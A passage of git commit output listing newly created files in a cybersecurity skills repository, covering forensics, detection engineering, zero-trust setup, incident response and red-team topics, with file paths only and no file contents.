skills/analyzing-malware-behavior-with-cuckoo-sandbox/SKILL.md create mode 100644 skills/analyzing-malware-family-relationships-with-malpedia/SKILL.md create mode 100644 skills/analyzing-malware-persistence-with-autoruns/SKILL.md create mode 100644 skills/analyzing-malware-persistence-with-autoruns/assets/template.md create mode 100644 skills/analyzing-malware-persistence-with-autoruns/references/standards.md create mode 100644 skills/analyzing-malware-persistence-with-autoruns/references/workflows.md create mode 100644 skills/analyzing-memory-dumps-with-volatility/SKILL.md create mode 100644 skills/analyzing-mft-for-deleted-file-recovery/SKILL.md create mode 100644 skills/analyzing-mft-for-deleted-file-recovery/assets/template.md create mode 100644 skills/analyzing-mft-for-deleted-file-recovery/references/standards.md create mode 100644 skills/analyzing-mft-for-deleted-file-recovery/references/workflows.md create mode 100644 skills/analyzing-mft-for-deleted-file-recovery/scripts/process.py create mode 100644 skills/analyzing-network-covert-channels-in-malware/SKILL.md create mode 100644 skills/analyzing-network-covert-channels-in-malware/assets/template.md create mode 100644 skills/analyzing-network-covert-channels-in-malware/references/standards.md create mode 100644 skills/analyzing-network-covert-channels-in-malware/references/workflows.md create mode 100644 skills/analyzing-network-traffic-for-incidents/SKILL.md create mode 100644 skills/analyzing-network-traffic-of-malware/SKILL.md create mode 100644 skills/analyzing-network-traffic-with-wireshark/SKILL.md create mode 100644 skills/analyzing-outlook-pst-for-email-forensics/SKILL.md create mode 100644 skills/analyzing-outlook-pst-for-email-forensics/references/standards.md create mode 100644 skills/analyzing-outlook-pst-for-email-forensics/references/workflows.md create mode 100644 skills/analyzing-packed-malware-with-upx-unpacker/SKILL.md create mode 100644 skills/analyzing-pdf-malware-with-pdfid/SKILL.md create mode 100644 skills/analyzing-phishing-email-headers/SKILL.md create mode 100644 skills/analyzing-phishing-email-headers/assets/template.md create mode 100644 skills/analyzing-phishing-email-headers/references/standards.md create mode 100644 skills/analyzing-phishing-email-headers/references/workflows.md create mode 100644 skills/analyzing-phishing-email-headers/scripts/process.py create mode 100644 skills/analyzing-prefetch-files-for-execution-history/SKILL.md create mode 100644 skills/analyzing-ransomware-encryption-mechanisms/SKILL.md create mode 100644 skills/analyzing-ransomware-leak-site-intelligence/SKILL.md create mode 100644 skills/analyzing-security-logs-with-splunk/SKILL.md create mode 100644 skills/analyzing-slack-space-and-file-system-artifacts/SKILL.md create mode 100644 skills/analyzing-supply-chain-malware-artifacts/SKILL.md create mode 100644 skills/analyzing-supply-chain-malware-artifacts/assets/template.md create mode 100644 skills/analyzing-supply-chain-malware-artifacts/references/standards.md create mode 100644 skills/analyzing-supply-chain-malware-artifacts/references/workflows.md create mode 100644 skills/analyzing-threat-actor-ttps-with-mitre-attack/SKILL.md create mode 100644 skills/analyzing-threat-actor-ttps-with-mitre-attack/assets/template.md create mode 100644 skills/analyzing-threat-actor-ttps-with-mitre-attack/references/standards.md create mode 100644 skills/analyzing-threat-actor-ttps-with-mitre-attack/references/workflows.md create mode 100644 skills/analyzing-threat-actor-ttps-with-mitre-attack/scripts/process.py create mode 100644 skills/analyzing-threat-intelligence-feeds/SKILL.md create mode 100644 skills/analyzing-typosquatting-domains-with-dnstwist/SKILL.md create mode 100644 skills/analyzing-usb-device-connection-history/SKILL.md create mode 100644 skills/analyzing-windows-event-logs-in-splunk/SKILL.md create mode 100644 skills/analyzing-windows-lnk-files-for-artifacts/SKILL.md create mode 100644 skills/analyzing-windows-registry-for-artifacts/SKILL.md create mode 100644 skills/analyzing-windows-shellbag-artifacts/SKILL.md create mode 100644 skills/analyzing-windows-shellbag-artifacts/assets/template.md create mode 100644 skills/analyzing-windows-shellbag-artifacts/references/standards.md create mode 100644 skills/analyzing-windows-shellbag-artifacts/references/workflows.md create mode 100644 skills/analyzing-windows-shellbag-artifacts/scripts/process.py create mode 100644 skills/auditing-aws-s3-bucket-permissions/SKILL.md create mode 100644 skills/auditing-azure-active-directory-configuration/SKILL.md create mode 100644 skills/auditing-cloud-with-cis-benchmarks/SKILL.md create mode 100644 skills/auditing-gcp-iam-permissions/SKILL.md create mode 100644 skills/auditing-kubernetes-cluster-rbac/SKILL.md create mode 100644 skills/auditing-kubernetes-rbac-permissions/SKILL.md create mode 100644 skills/auditing-kubernetes-rbac-permissions/assets/template.md create mode 100644 skills/auditing-kubernetes-rbac-permissions/references/standards.md create mode 100644 skills/auditing-kubernetes-rbac-permissions/references/workflows.md create mode 100644 skills/auditing-kubernetes-rbac-permissions/scripts/process.py create mode 100644 skills/auditing-terraform-infrastructure-for-security/SKILL.md create mode 100644 skills/automating-ioc-enrichment/SKILL.md create mode 100644 skills/building-adversary-infrastructure-tracking-system/SKILL.md create mode 100644 skills/building-attack-pattern-library-from-cti-reports/SKILL.md create mode 100644 skills/building-automated-malware-submission-pipeline/SKILL.md create mode 100644 skills/building-c2-infrastructure-with-sliver-framework/SKILL.md create mode 100644 skills/building-c2-infrastructure-with-sliver-framework/assets/template.md create mode 100644 skills/building-c2-infrastructure-with-sliver-framework/references/standards.md create mode 100644 skills/building-c2-infrastructure-with-sliver-framework/references/workflows.md create mode 100644 skills/building-c2-infrastructure-with-sliver-framework/scripts/process.py create mode 100644 skills/building-cloud-security-posture-management/SKILL.md create mode 100644 skills/building-cloud-siem-with-sentinel/SKILL.md create mode 100644 skills/building-detection-rule-with-splunk-spl/SKILL.md create mode 100644 skills/building-detection-rule-with-splunk-spl/assets/template.md create mode 100644 skills/building-detection-rule-with-splunk-spl/references/standards.md create mode 100644 skills/building-detection-rule-with-splunk-spl/references/workflows.md create mode 100644 skills/building-detection-rule-with-splunk-spl/scripts/process.py create mode 100644 skills/building-detection-rules-with-sigma/SKILL.md create mode 100644 skills/building-devsecops-pipeline-with-gitlab-ci/SKILL.md create mode 100644 skills/building-devsecops-pipeline-with-gitlab-ci/assets/template.md create mode 100644 skills/building-devsecops-pipeline-with-gitlab-ci/references/standards.md create mode 100644 skills/building-devsecops-pipeline-with-gitlab-ci/references/workflows.md create mode 100644 skills/building-devsecops-pipeline-with-gitlab-ci/scripts/process.py create mode 100644 skills/building-identity-federation-with-saml-azure-ad/SKILL.md create mode 100644 skills/building-identity-federation-with-saml-azure-ad/assets/template.md create mode 100644 skills/building-identity-federation-with-saml-azure-ad/references/standards.md create mode 100644 skills/building-identity-federation-with-saml-azure-ad/references/workflows.md create mode 100644 skills/building-identity-federation-with-saml-azure-ad/scripts/process.py create mode 100644 skills/building-identity-governance-lifecycle-process/SKILL.md create mode 100644 skills/building-incident-response-dashboard/SKILL.md create mode 100644 skills/building-incident-response-playbook/SKILL.md create mode 100644 skills/building-incident-timeline-with-timesketch/SKILL.md create mode 100644 skills/building-incident-timeline-with-timesketch/assets/template.md create mode 100644 skills/building-incident-timeline-with-timesketch/references/standards.md create mode 100644 skills/building-incident-timeline-with-timesketch/references/workflows.md create mode 100644 skills/building-incident-timeline-with-timesketch/scripts/process.py create mode 100644 skills/building-ioc-defanging-and-sharing-pipeline/SKILL.md create mode 100644 skills/building-ioc-enrichment-pipeline-with-opencti/SKILL.md create mode 100644 skills/building-ioc-enrichment-pipeline-with-opencti/assets/template.md create mode 100644 skills/building-ioc-enrichment-pipeline-with-opencti/references/standards.md create mode 100644 skills/building-ioc-enrichment-pipeline-with-opencti/references/workflows.md create mode 100644 skills/building-ioc-enrichment-pipeline-with-opencti/scripts/process.py create mode 100644 skills/building-malware-incident-communication-template/SKILL.md create mode 100644 skills/building-malware-incident-communication-template/assets/template.md create mode 100644 skills/building-malware-incident-communication-template/references/standards.md create mode 100644 skills/building-malware-incident-communication-template/references/workflows.md create mode 100644 skills/building-malware-incident-communication-template/scripts/process.py create mode 100644 skills/building-patch-tuesday-response-process/SKILL.md create mode 100644 skills/building-patch-tuesday-response-process/assets/template.md create mode 100644 skills/building-patch-tuesday-response-process/references/standards.md create mode 100644 skills/building-patch-tuesday-response-process/references/workflows.md create mode 100644 skills/building-patch-tuesday-response-process/scripts/process.py create mode 100644 skills/building-phishing-reporting-button-workflow/SKILL.md create mode 100644 skills/building-phishing-reporting-button-workflow/assets/template.md create mode 100644 skills/building-phishing-reporting-button-workflow/references/standards.md create mode 100644 skills/building-phishing-reporting-button-workflow/references/workflows.md create mode 100644 skills/building-phishing-reporting-button-workflow/scripts/process.py create mode 100644 skills/building-red-team-c2-infrastructure-with-havoc/SKILL.md create mode 100644 skills/building-red-team-c2-infrastructure-with-havoc/assets/template.md create mode 100644 skills/building-red-team-c2-infrastructure-with-havoc/references/standards.md create mode 100644 skills/building-red-team-c2-infrastructure-with-havoc/references/workflows.md create mode 100644 skills/building-red-team-c2-infrastructure-with-havoc/scripts/process.py create mode 100644 skills/building-role-mining-for-rbac-optimization/SKILL.md create mode 100644 skills/building-role-mining-for-rbac-optimization/assets/template.md create mode 100644 skills/building-role-mining-for-rbac-optimization/references/standards.md create mode 100644 skills/building-role-mining-for-rbac-optimization/references/workflows.md create mode 100644 skills/building-role-mining-for-rbac-optimization/scripts/process.py create mode 100644 skills/building-soc-escalation-matrix/SKILL.md create mode 100644 skills/building-soc-escalation-matrix/assets/template.md create mode 100644 skills/building-soc-escalation-matrix/references/standards.md create mode 100644 skills/building-soc-escalation-matrix/references/workflows.md create mode 100644 skills/building-soc-escalation-matrix/scripts/process.py create mode 100644 skills/building-soc-metrics-and-kpi-tracking/SKILL.md create mode 100644 skills/building-soc-playbook-for-ransomware/SKILL.md create mode 100644 skills/building-threat-actor-profile-from-osint/SKILL.md create mode 100644 skills/building-threat-feed-aggregation-with-misp/SKILL.md create mode 100644 skills/building-threat-hunt-hypothesis-framework/SKILL.md create mode 100644 skills/building-threat-hunt-hypothesis-framework/assets/template.md create mode 100644 skills/building-threat-hunt-hypothesis-framework/references/standards.md create mode 100644 skills/building-threat-hunt-hypothesis-framework/references/workflows.md create mode 100644 skills/building-threat-hunt-hypothesis-framework/scripts/process.py create mode 100644 skills/building-threat-intelligence-enrichment-in-splunk/SKILL.md create mode 100644 skills/building-threat-intelligence-enrichment-in-splunk/assets/template.md create mode 100644 skills/building-threat-intelligence-enrichment-in-splunk/references/standards.md create mode 100644 skills/building-threat-intelligence-enrichment-in-splunk/references/workflows.md create mode 100644 skills/building-threat-intelligence-enrichment-in-splunk/scripts/process.py create mode 100644 skills/building-threat-intelligence-feed-integration/SKILL.md create mode 100644 skills/building-threat-intelligence-platform/SKILL.md create mode 100644 skills/building-threat-intelligence-platform/assets/template.md create mode 100644 skills/building-threat-intelligence-platform/references/standards.md create mode 100644 skills/building-threat-intelligence-platform/references/workflows.md create mode 100644 skills/building-threat-intelligence-platform/scripts/process.py create mode 100644 skills/building-vulnerability-aging-and-sla-tracking/SKILL.md create mode 100644 skills/building-vulnerability-aging-and-sla-tracking/assets/template.md create mode 100644 skills/building-vulnerability-aging-and-sla-tracking/references/standards.md create mode 100644 skills/building-vulnerability-aging-and-sla-tracking/references/workflows.md create mode 100644 skills/building-vulnerability-aging-and-sla-tracking/scripts/process.py create mode 100644 skills/building-vulnerability-dashboard-with-defectdojo/SKILL.md create mode 100644 skills/building-vulnerability-dashboard-with-defectdojo/assets/template.md create mode 100644 skills/building-vulnerability-dashboard-with-defectdojo/references/standards.md create mode 100644 skills/building-vulnerability-dashboard-with-defectdojo/references/workflows.md create mode 100644 skills/building-vulnerability-dashboard-with-defectdojo/scripts/process.py create mode 100644 skills/building-vulnerability-exception-tracking-system/SKILL.md create mode 100644 skills/building-vulnerability-exception-tracking-system/assets/template.md create mode 100644 skills/building-vulnerability-exception-tracking-system/references/standards.md create mode 100644 skills/building-vulnerability-exception-tracking-system/references/workflows.md create mode 100644 skills/building-vulnerability-exception-tracking-system/scripts/process.py create mode 100644 skills/building-vulnerability-scanning-workflow/SKILL.md create mode 100644 skills/bypassing-authentication-with-forced-browsing/SKILL.md create mode 100644 skills/collecting-indicators-of-compromise/SKILL.md create mode 100644 skills/collecting-open-source-intelligence/SKILL.md create mode 100644 skills/collecting-threat-intelligence-with-misp/SKILL.md create mode 100644 skills/collecting-threat-intelligence-with-misp/assets/template.md create mode 100644 skills/collecting-threat-intelligence-with-misp/references/standards.md create mode 100644 skills/collecting-threat-intelligence-with-misp/references/workflows.md create mode 100644 skills/collecting-threat-intelligence-with-misp/scripts/process.py create mode 100644 skills/collecting-volatile-evidence-from-compromised-host/SKILL.md create mode 100644 skills/collecting-volatile-evidence-from-compromised-host/assets/template.md create mode 100644 skills/collecting-volatile-evidence-from-compromised-host/references/standards.md create mode 100644 skills/collecting-volatile-evidence-from-compromised-host/references/workflows.md create mode 100644 skills/collecting-volatile-evidence-from-compromised-host/scripts/process.py create mode 100644 skills/conducting-api-security-testing/SKILL.md create mode 100644 skills/conducting-cloud-incident-response/SKILL.md create mode 100644 skills/conducting-cloud-infrastructure-penetration-test/SKILL.md create mode 100644 skills/conducting-cloud-infrastructure-penetration-test/assets/template.md create mode 100644 skills/conducting-cloud-infrastructure-penetration-test/references/standards.md create mode 100644 skills/conducting-cloud-infrastructure-penetration-test/references/workflows.md create mode 100644 skills/conducting-cloud-infrastructure-penetration-test/scripts/process.py create mode 100644 skills/conducting-cloud-penetration-testing/SKILL.md create mode 100644 skills/conducting-domain-persistence-with-dcsync/SKILL.md create mode 100644 skills/conducting-domain-persistence-with-dcsync/assets/template.md create mode 100644 skills/conducting-domain-persistence-with-dcsync/references/standards.md create mode 100644 skills/conducting-domain-persistence-with-dcsync/references/workflows.md create mode 100644 skills/conducting-domain-persistence-with-dcsync/scripts/process.py create mode 100644 skills/conducting-external-reconnaissance-with-osint/SKILL.md create mode 100644 skills/conducting-full-scope-red-team-engagement/SKILL.md create mode 100644 skills/conducting-full-scope-red-team-engagement/assets/template.md create mode 100644 skills/conducting-full-scope-red-team-engagement/references/standards.md create mode 100644 skills/conducting-full-scope-red-team-engagement/references/workflows.md create mode 100644 skills/conducting-full-scope-red-team-engagement/scripts/process.py create mode 100644 skills/conducting-internal-network-penetration-test/SKILL.md create mode 100644 skills/conducting-internal-network-penetration-test/assets/template.md create mode 100644 skills/conducting-internal-network-penetration-test/references/standards.md create mode 100644 skills/conducting-internal-network-penetration-test/references/workflows.md create mode 100644 skills/conducting-internal-network-penetration-test/scripts/process.py create mode 100644 skills/conducting-internal-reconnaissance-with-bloodhound-ce/SKILL.md create mode 100644 skills/conducting-internal-reconnaissance-with-bloodhound-ce/assets/template.md create mode 100644 skills/conducting-internal-reconnaissance-with-bloodhound-ce/references/standards.md create mode 100644 skills/conducting-internal-reconnaissance-with-bloodhound-ce/references/workflows.md create mode 100644 skills/conducting-internal-reconnaissance-with-bloodhound-ce/scripts/process.py create mode 100644 skills/conducting-malware-incident-response/SKILL.md create mode 100644 skills/conducting-man-in-the-middle-attack-simulation/SKILL.md create mode 100644 skills/conducting-memory-forensics-with-volatility/SKILL.md create mode 100644 skills/conducting-mobile-app-penetration-test/SKILL.md create mode 100644 skills/conducting-mobile-application-penetration-test/SKILL.md create mode 100644 skills/conducting-network-penetration-test/SKILL.md create mode 100644 skills/conducting-pass-the-ticket-attack/SKILL.md create mode 100644 skills/conducting-pass-the-ticket-attack/assets/template.md create mode 100644 skills/conducting-pass-the-ticket-attack/references/standards.md create mode 100644 skills/conducting-pass-the-ticket-attack/references/workflows.md create mode 100644 skills/conducting-pass-the-ticket-attack/scripts/process.py create mode 100644 skills/conducting-phishing-incident-response/SKILL.md create mode 100644 skills/conducting-post-incident-lessons-learned/SKILL.md create mode 100644 skills/conducting-post-incident-lessons-learned/assets/template.md create mode 100644 skills/conducting-post-incident-lessons-learned/references/standards.md create mode 100644 skills/conducting-post-incident-lessons-learned/references/workflows.md create mode 100644 skills/conducting-post-incident-lessons-learned/scripts/process.py create mode 100644 skills/conducting-social-engineering-penetration-test/SKILL.md create mode 100644 skills/conducting-social-engineering-penetration-test/assets/template.md create mode 100644 skills/conducting-social-engineering-penetration-test/references/standards.md create mode 100644 skills/conducting-social-engineering-penetration-test/references/workflows.md create mode 100644 skills/conducting-social-engineering-penetration-test/scripts/process.py create mode 100644 skills/conducting-social-engineering-pretext-call/SKILL.md create mode 100644 skills/conducting-social-engineering-pretext-call/assets/template.md create mode 100644 skills/conducting-social-engineering-pretext-call/references/standards.md create mode 100644 skills/conducting-social-engineering-pretext-call/references/workflows.md create mode 100644 skills/conducting-social-engineering-pretext-call/scripts/process.py create mode 100644 skills/conducting-spearphishing-simulation-campaign/SKILL.md create mode 100644 skills/conducting-spearphishing-simulation-campaign/assets/template.md create mode 100644 skills/conducting-spearphishing-simulation-campaign/references/standards.md create mode 100644 skills/conducting-spearphishing-simulation-campaign/references/workflows.md create mode 100644 skills/conducting-spearphishing-simulation-campaign/scripts/process.py create mode 100644 skills/conducting-wireless-network-penetration-test/SKILL.md create mode 100644 skills/configuring-active-directory-tiered-model/SKILL.md create mode 100644 skills/configuring-aws-verified-access-for-ztna/SKILL.md create mode 100644 skills/configuring-aws-verified-access-for-ztna/assets/template.md create mode 100644 skills/configuring-aws-verified-access-for-ztna/references/standards.md create mode 100644 skills/configuring-aws-verified-access-for-ztna/references/workflows.md create mode 100644 skills/configuring-aws-verified-access-for-ztna/scripts/process.py create mode 100644 skills/configuring-certificate-authority-with-openssl/SKILL.md create mode 100644 skills/configuring-certificate-authority-with-openssl/assets/template.md create mode 100644 skills/configuring-certificate-authority-with-openssl/references/standards.md create mode 100644 skills/configuring-certificate-authority-with-openssl/references/workflows.md create mode 100644 skills/configuring-certificate-authority-with-openssl/scripts/process.py create mode 100644 skills/configuring-host-based-intrusion-detection/SKILL.md create mode 100644 skills/configuring-host-based-intrusion-detection/assets/template.md create mode 100644 skills/configuring-host-based-intrusion-detection/references/standards.md create mode 100644 skills/configuring-host-based-intrusion-detection/references/workflows.md create mode 100644 skills/configuring-host-based-intrusion-detection/scripts/process.py create mode 100644 skills/configuring-hsm-for-key-storage/SKILL.md create mode 100644 skills/configuring-hsm-for-key-storage/assets/template.md create mode 100644 skills/configuring-hsm-for-key-storage/references/standards.md create mode 100644 skills/configuring-hsm-for-key-storage/references/workflows.md create mode 100644 skills/configuring-hsm-for-key-storage/scripts/process.py create mode 100644 skills/configuring-identity-aware-proxy-with-google-iap/SKILL.md create mode 100644 skills/configuring-identity-aware-proxy-with-google-iap/assets/template.md create mode 100644 skills/configuring-identity-aware-proxy-with-google-iap/references/standards.md create mode 100644 skills/configuring-identity-aware-proxy-with-google-iap/references/workflows.md create mode 100644 skills/configuring-identity-aware-proxy-with-google-iap/scripts/process.py create mode 100644 skills/configuring-ldap-security-hardening/SKILL.md create mode 100644 skills/configuring-microsegmentation-for-zero-trust/SKILL.md create mode 100644 skills/configuring-microsegmentation-for-zero-trust/assets/template.md create mode 100644 skills/configuring-microsegmentation-for-zero-trust/references/standards.md create mode 100644 skills/configuring-microsegmentation-for-zero-trust/references/workflows.md create mode 100644 skills/configuring-microsegmentation-for-zero-trust/scripts/process.py create mode 100644 skills/configuring-multi-factor-authentication-with-duo/SKILL.md create mode 100644 skills/configuring-multi-factor-authentication-with-duo/assets/template.md create mode 100644 skills/configuring-multi-factor-authentication-with-duo/references/standards.md create mode 100644 skills/configuring-multi-factor-authentication-with-duo/references/workflows.md create mode 100644 skills/configuring-multi-factor-authentication-with-duo/scripts/process.py create mode 100644 skills/configuring-network-segmentation-with-vlans/SKILL.md create mode 100644 skills/configuring-oauth2-authorization-flow/SKILL.md create mode 100644 skills/configuring-oauth2-authorization-flow/assets/template.md create mode 100644 skills/configuring-oauth2-authorization-flow/references/standards.md create mode 100644 skills/configuring-oauth2-authorization-flow/references/workflows.md create mode 100644 skills/configuring-oauth2-authorization-flow/scripts/process.py create mode 100644 skills/configuring-pfsense-firewall-rules/SKILL.md create mode 100644 skills/configuring-snort-ids-for-intrusion-detection/SKILL.md create mode 100644 skills/configuring-suricata-for-network-monitoring/SKILL.md create mode 100644 skills/configuring-tls-1-3-for-secure-communications/SKILL.md create mode 100644 skills/configuring-tls-1-3-for-secure-communications/assets/template.md create mode 100644 skills/configuring-tls-1-3-for-secure-communications/references/standards.md create mode 100644 skills/configuring-tls-1-3-for-secure-communications/references/workflows.md create mode 100644 skills/configuring-tls-1-3-for-secure-communications/scripts/process.py create mode 100644 skills/configuring-windows-defender-advanced-settings/SKILL.md create mode 100644 skills/configuring-windows-defender-advanced-settings/assets/template.md create mode 100644 skills/configuring-windows-defender-advanced-settings/references/standards.md create mode 100644 skills/configuring-windows-defender-advanced-settings/references/workflows.md create mode 100644 skills/configuring-windows-defender-advanced-settings/scripts/process.py create mode 100644 skills/configuring-windows-event-logging-for-detection/SKILL.md create mode 100644 skills/configuring-windows-event-logging-for-detection/assets/template.md create mode 100644 skills/configuring-windows-event-logging-for-detection/references/standards.md create mode 100644 skills/configuring-windows-event-logging-for-detection/references/workflows.md create mode 100644 skills/configuring-windows-event-logging-for-detection/scripts/process.py create mode 100644 skills/configuring-zscaler-private-access-for-ztna/SKILL.md create mode 100644 skills/configuring-zscaler-private-access-for-ztna/assets/template.md create mode 100644 skills/configuring-zscaler-private-access-for-ztna/references/standards.md create mode 100644 skills/configuring-zscaler-private-access-for-ztna/references/workflows.md create mode 100644 skills/configuring-zscaler-private-access-for-ztna/scripts/process.py create mode 100644 skills/containing-active-breach/SKILL.md create mode 100644 skills/containing-active-security-breach/SKILL.md create mode 100644 skills/containing-active-security-breach/assets/template.md create mode 100644 skills/containing-active-security-breach/references/standards.md create mode 100644 skills/containing-active-security-breach/references/workflows.md create mode 100644 skills/containing-active-security-breach/scripts/process.py create mode 100644 skills/correlating-security-events-in-qradar/SKILL.md create mode 100644 skills/correlating-threat-campaigns/SKILL.md create mode 100644 skills/deobfuscating-javascript-malware/SKILL.md create mode 100644 skills/deobfuscating-powershell-obfuscated-malware/SKILL.md create mode 100644 skills/deobfuscating-powershell-obfuscated-malware/assets/template.md create mode 100644 skills/deobfuscating-powershell-obfuscated-malware/references/standards.md create mode 100644 skills/deobfuscating-powershell-obfuscated-malware/references/workflows.md create mode 100644 skills/deobfuscating-powershell-obfuscated-malware/scripts/process.py create mode 100644 skills/deploying-cloudflare-access-for-zero-trust/SKILL.md create mode 100644 skills/deploying-cloudflare-access-for-zero-trust/assets/template.md create mode 100644 skills/deploying-cloudflare-access-for-zero-trust/references/standards.md create mode 100644 skills/deploying-cloudflare-access-for-zero-trust/references/workflows.md create mode 100644 skills/deploying-cloudflare-access-for-zero-trust/scripts/process.py create mode 100644 skills/deploying-edr-agent-with-crowdstrike/SKILL.md create mode 100644 skills/deploying-edr-agent-with-crowdstrike/assets/template.md create mode 100644 skills/deploying-edr-agent-with-crowdstrike/references/standards.md create mode 100644 skills/deploying-edr-agent-with-crowdstrike/references/workflows.md create mode 100644 skills/deploying-edr-agent-with-crowdstrike/scripts/process.py create mode 100644 skills/deploying-osquery-for-endpoint-monitoring/SKILL.md create mode 100644 skills/deploying-osquery-for-endpoint-monitoring/assets/template.md create mode 100644 skills/deploying-osquery-for-endpoint-monitoring/references/standards.md create mode 100644 skills/deploying-osquery-for-endpoint-monitoring/references/workflows.md create mode 100644 skills/deploying-osquery-for-endpoint-monitoring/scripts/process.py create mode 100644 skills/deploying-palo-alto-prisma-access-zero-trust/SKILL.md create mode 100644 skills/deploying-software-defined-perimeter/SKILL.md create mode 100644 skills/deploying-software-defined-perimeter/assets/template.md create mode 100644 skills/deploying-software-defined-perimeter/references/standards.md create mode 100644 skills/deploying-software-defined-perimeter/references/workflows.md create mode 100644 skills/deploying-software-defined-perimeter/scripts/process.py create mode 100644 skills/deploying-tailscale-for-zero-trust-vpn/SKILL.md create mode 100644 skills/deploying-tailscale-for-zero-trust-vpn/assets/template.md create mode 100644 skills/deploying-tailscale-for-zero-trust-vpn/references/standards.md create mode 100644 skills/deploying-tailscale-for-zero-trust-vpn/references/workflows.md create mode 100644 skills/deploying-tailscale-for-zero-trust-vpn/scripts/process.py create mode 100644 skills/detecting-anomalies-in-industrial-control-systems/SKILL.md create mode 100644 skills/detecting-anomalous-authentication-patterns/SKILL.md create mode 100644 skills/detecting-api-enumeration-attacks/SKILL.md create mode 100644 skills/detecting-arp-poisoning-in-network-traffic/SKILL.md create mode 100644 skills/detecting-attacks-on-historian-servers/SKILL.md create mode 100644 skills/detecting-attacks-on-scada-systems/SKILL.md create mode 100644 skills/detecting-aws-credential-exposure-with-trufflehog/SKILL.md create mode 100644 skills/detecting-aws-guardduty-findings-automation/SKILL.md create mode 100644 skills/detecting-aws-guardduty-findings-automation/assets/template.md create mode 100644 skills/detecting-aws-guardduty-findings-automation/references/standards.md create mode 100644 skills/detecting-aws-guardduty-findings-automation/references/workflows.md create mode 100644 skills/detecting-aws-guardduty-findings-automation/scripts/process.py create mode 100644 skills/detecting-azure-service-principal-abuse/SKILL.md create mode 100644 skills/detecting-azure-service-principal-abuse/assets/template.md create mode 100644 skills/detecting-azure-service-principal-abuse/references/standards.md create mode 100644 skills/detecting-azure-service-principal-abuse/references/workflows.md create mode 100644 skills/detecting-azure-service-principal-abuse/scripts/process.py create mode 100644 skills/detecting-broken-object-property-level-authorization/SKILL.md create mode 100644 skills/detecting-business-email-compromise-with-ai/SKILL.md create mode 100644 skills/detecting-business-email-compromise-with-ai/assets/template.md create mode 100644 skills/detecting-business-email-compromise-with-ai/references/standards.md create mode 100644 skills/detecting-business-email-compromise-with-ai/references/workflows.md create mode 100644 skills/detecting-business-email-compromise-with-ai/scripts/process.py create mode 100644 skills/detecting-business-email-compromise/SKILL.md create mode 100644 skills/detecting-business-email-compromise/assets/template.md create mode 100644 skills/detecting-business-email-compromise/references/standards.md create mode 100644 skills/detecting-business-email-compromise/references/workflows.md create mode 100644 skills/detecting-business-email-compromise/scripts/process.py create mode 100644 skills/detecting-cloud-cryptomining-activity/SKILL.md create mode 100644 skills/detecting-cloud-threats-with-guardduty/SKILL.md create mode 100644 skills/detecting-compromised-cloud-credentials/SKILL.md create mode 100644 skills/detecting-container-drift-at-runtime/SKILL.md create mode 100644 skills/detecting-container-drift-at-runtime/assets/template.md create mode 100644 skills/detecting-container-drift-at-runtime/references/standards.md create mode 100644 skills/detecting-container-drift-at-runtime/references/workflows.md create mode 100644 skills/detecting-container-drift-at-runtime/scripts/process.py create mode 100644 skills/detecting-container-escape-attempts/SKILL.md create mode 100644 skills/detecting-container-escape-attempts/assets/template.md create mode 100644 skills/detecting-container-escape-attempts/references/standards.md create mode 100644 skills/detecting-container-escape-attempts/references/workflows.md create mode 100644 skills/detecting-container-escape-attempts/scripts/process.py create mode 100644 skills/detecting-container-escape-with-falco-rules/SKILL.md create mode 100644 skills/detecting-container-escape-with-falco-rules/assets/template.md create mode 100644 skills/detecting-container-escape-with-falco-rules/references/standards.md create mode 100644 skills/detecting-container-escape-with-falco-rules/references/workflows.md create mode 100644 skills/detecting-container-escape-with-falco-rules/scripts/process.py create mode 100644 skills/detecting-credential-dumping-with-edr/SKILL.md create mode 100644 skills/detecting-credential-dumping-with-edr/assets/template.md create mode 100644 skills/detecting-credential-dumping-with-edr/references/standards.md create mode 100644 skills/detecting-credential-dumping-with-edr/references/workflows.md create mode 100644 skills/detecting-credential-dumping-with-edr/scripts/process.py create mode 100644 skills/detecting-cryptomining-in-cloud/SKILL.md create mode 100644 skills/detecting-dcsync-attack-in-active-directory/SKILL.md create mode 100644 skills/detecting-dcsync-attack-in-active-directory/assets/template.md create mode 100644 skills/detecting-dcsync-attack-in-active-directory/references/standards.md create mode 100644 skills/detecting-dcsync-attack-in-active-directory/references/workflows.md create mode 100644 skills/detecting-dcsync-attack-in-active-directory/scripts/process.py create mode 100644 skills/detecting-dll-sideloading-attacks/SKILL.md create mode 100644 skills/detecting-dll-sideloading-attacks/assets/template.md create mode 100644 skills/detecting-dll-sideloading-attacks/references/standards.md create mode 100644 skills/detecting-dll-sideloading-attacks/references/workflows.md create mode 100644 skills/detecting-dll-sideloading-attacks/scripts/process.py create mode 100644 skills/detecting-dnp3-protocol-anomalies/SKILL.md create mode 100644 skills/detecting-dns-exfiltration-with-dns-query-analysis/SKILL.md create mode 100644 skills/detecting-email-forwarding-rules-attack/SKILL.md create mode 100644 skills/detecting-email-forwarding-rules-attack/assets/template.md create mode 100644 skills/detecting-email-forwarding-rules-attack/references/standards.md create mode 100644 skills/detecting-email-forwarding-rules-attack/references/workflows.md create mode 100644 skills/detecting-email-forwarding-rules-attack/scripts/process.py create mode 100644 skills/detecting-evasion-techniques-in-endpoint-logs/SKILL.md create mode 100644 skills/detecting-evasion-techniques-in-endpoint-logs/assets/template.md create mode 100644 skills/detecting-evasion-techniques-in-endpoint-logs/references/standards.md create mode 100644 skills/detecting-evasion-techniques-in-endpoint-logs/references/workflows.md create mode 100644 skills/detecting-evasion-techniques-in-endpoint-logs/scripts/process.py create mode 100644 skills/detecting-fileless-attacks-on-endpoints/SKILL.md create mode 100644 skills/detecting-fileless-attacks-on-endpoints/assets/template.md create mode 100644 skills/detecting-fileless-attacks-on-endpoints/references/standards.md create mode 100644 skills/detecting-fileless-attacks-on-endpoints/references/workflows.md create mode 100644 skills/detecting-fileless-attacks-on-endpoints/scripts/process.py create mode 100644 skills/detecting-fileless-malware-techniques/SKILL.md create mode 100644 skills/detecting-golden-ticket-attacks-in-kerberos-logs/SKILL.md create mode 100644 skills/detecting-insider-threat-behaviors/SKILL.md create mode 100644 skills/detecting-insider-threat-behaviors/assets/template.md create mode 100644 skills/detecting-insider-threat-behaviors/references/standards.md create mode 100644 skills/detecting-insider-threat-behaviors/references/workflows.md create mode 100644 skills/detecting-insider-threat-behaviors/scripts/process.py create mode 100644 skills/detecting-kerberoasting-attacks/SKILL.md create mode 100644 skills/detecting-kerberoasting-attacks/assets/template.md create mode 100644 skills/detecting-kerberoasting-attacks/references/standards.md create mode 100644 skills/detecting-kerberoasting-attacks/references/workflows.md create mode 100644 